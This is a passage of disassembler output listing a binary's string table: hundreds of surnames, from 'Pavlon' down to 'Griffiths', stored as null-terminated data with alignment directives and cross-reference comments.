aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E988o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E984o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E980o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E97Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E978o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E974o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E970o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E96Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E968o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E964o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E960o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E95Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E958o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E954o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E950o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E94Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E948o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E944o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E940o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E93Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E938o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E934o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E930o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E92Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E928o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E924o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E920o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E91Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E918o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E914o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E910o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E90Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E908o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E904o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E900o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E8FCo
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E8F8o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E8F4o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E8F0o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8ECo
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8E8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8E4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8E0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8DCo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8D8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8D4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8D0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8CCo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8C8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E8C4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E8C0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E8BCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E8B8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E8B4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E8B0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E8ACo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E8A8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E8A4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E8A0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E89Co
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E898o
		align 4
aMumford	db 'Mumford',0
aMulroy		db 'Mulroy',0
		align 4
aMulkern	db 'Mulkern',0
aMugnai		db 'Mugnai',0
		align 4
aMuello		db 'Muello',0
		align 4
aMudarri	db 'Mudarri',0
aMotooka	db 'Motooka',0
aMostafavi	db 'Mostafavi',0
		align 10h
aMosler		db 'Mosler',0
		align 4
aMosher		db 'Mosher',0
		align 10h
aMortimer	db 'Mortimer',0
		align 4
aMorrow		db 'Morrow',0
		align 4
aMorrison	db 'Morrison',0
		align 10h
aMoreton	db 'Moreton',0
aMorani		db 'Morani',0
		align 10h
aMooredech_	db 'MooreDeCh.',0
		align 4
aMontilio	db 'Montilio',0
		align 4
aMonque		db 'Monque',0
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E84Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E848o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E844o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E840o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E83Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E838o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E834o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E830o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E82Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E828o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E824o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E820o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E81Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E818o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E814o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E810o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E80Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E808o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E804o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E800o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E7FCo
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E7F8o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E7F4o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E7F0o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7ECo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7E8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7E4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7E0o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7DCo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7D8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7D4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7D0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7CCo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7C8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E7C4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E7C0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E7BCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E7B8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E7B4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E7B0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E7ACo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E7A8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E7A4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E7A0o
aMay		db 'May',0              ; DATA XREF: ___:0042E79Co
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E798o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E794o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E790o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E78Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E788o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E784o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E780o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E77Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E778o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E774o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E770o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E76Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E768o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E764o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E760o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E75Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E758o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E754o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E750o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E74Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E748o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E744o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E740o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E73Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E738o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E734o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E730o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E72Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E728o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E724o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E720o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E71Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E718o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E714o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E710o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E70Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E708o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E704o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E700o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E6FCo
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E6F8o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E6F4o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E6F0o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6ECo
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6E8o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6E4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6E0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6DCo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6D8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6D4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6D0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6CCo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6C8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E6C4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E6C0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E6BCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E6B8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E6B4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E6B0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E6ACo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E6A8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E6A4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E6A0o
aLine		db 'Line',0             ; DATA XREF: ___:0042E69Co
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E698o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E694o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E690o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E68Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E688o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E684o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E680o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E67Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E678o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E674o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E670o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E66Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E668o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E664o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E660o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E65Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E658o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E654o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E650o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E64Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E648o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E644o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E640o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E63Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E638o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E634o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E630o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E62Co
aLa		db 'La',0               ; DATA XREF: ___:0042E628o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E624o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E620o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E61Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E618o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E614o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E610o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E60Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E608o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E604o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E600o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E5FCo
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E5F8o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E5F4o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E5F0o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5ECo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5E8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5E4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5E0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5DCo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5D8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5D4o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5D0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5CCo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5C8o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E5C4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E5C0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E5BCo
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E5B8o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E5B4o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E5B0o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E5ACo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E5A8o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E5A4o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E5A0o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E59Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E598o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E594o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E590o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E58Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E588o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E584o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E580o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E57Co
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E578o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E574o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E570o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E56Co
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E568o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042E564o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E560o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E55Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E558o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E554o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E550o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E54Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E548o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E544o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E540o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E53Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E538o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E534o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E530o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E52Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E528o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E524o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E520o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E51Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E518o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E514o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E510o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E50Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E508o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E504o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E500o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E4FCo
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E4F8o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E4F4o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E4F0o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4ECo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4E8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4E4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4E0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4D8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4D0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4CCo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4C8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E4C4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E4C0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E4BCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E4B8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E4B4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E4B0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E4ACo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E4A8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E4A4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E4A0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E49Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E498o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E494o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E490o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E48Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E488o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E484o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E480o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E47Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E478o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E474o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E470o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E46Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E468o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E464o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E460o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E45Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E458o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E454o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E450o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E44Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E448o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E444o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E440o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042E43Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E438o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E434o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E430o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E42Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E428o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E424o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E420o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E41Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E418o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E414o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E410o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E40Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E408o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E404o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E400o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E3FCo
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E3F8o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E3F4o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E3F0o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3ECo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3E8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3E4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3E0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3DCo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3D8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3D4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3D0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3CCo
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3C8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E3C4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E3C0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E3BCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E3B8o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E3B4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E3B0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E3ACo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E3A8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E3A4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E3A0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E39Co
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E398o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E394o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E390o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E38Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042E388o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E384o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E380o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E37Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E378o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E374o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E370o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E36Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E368o
		align 10h
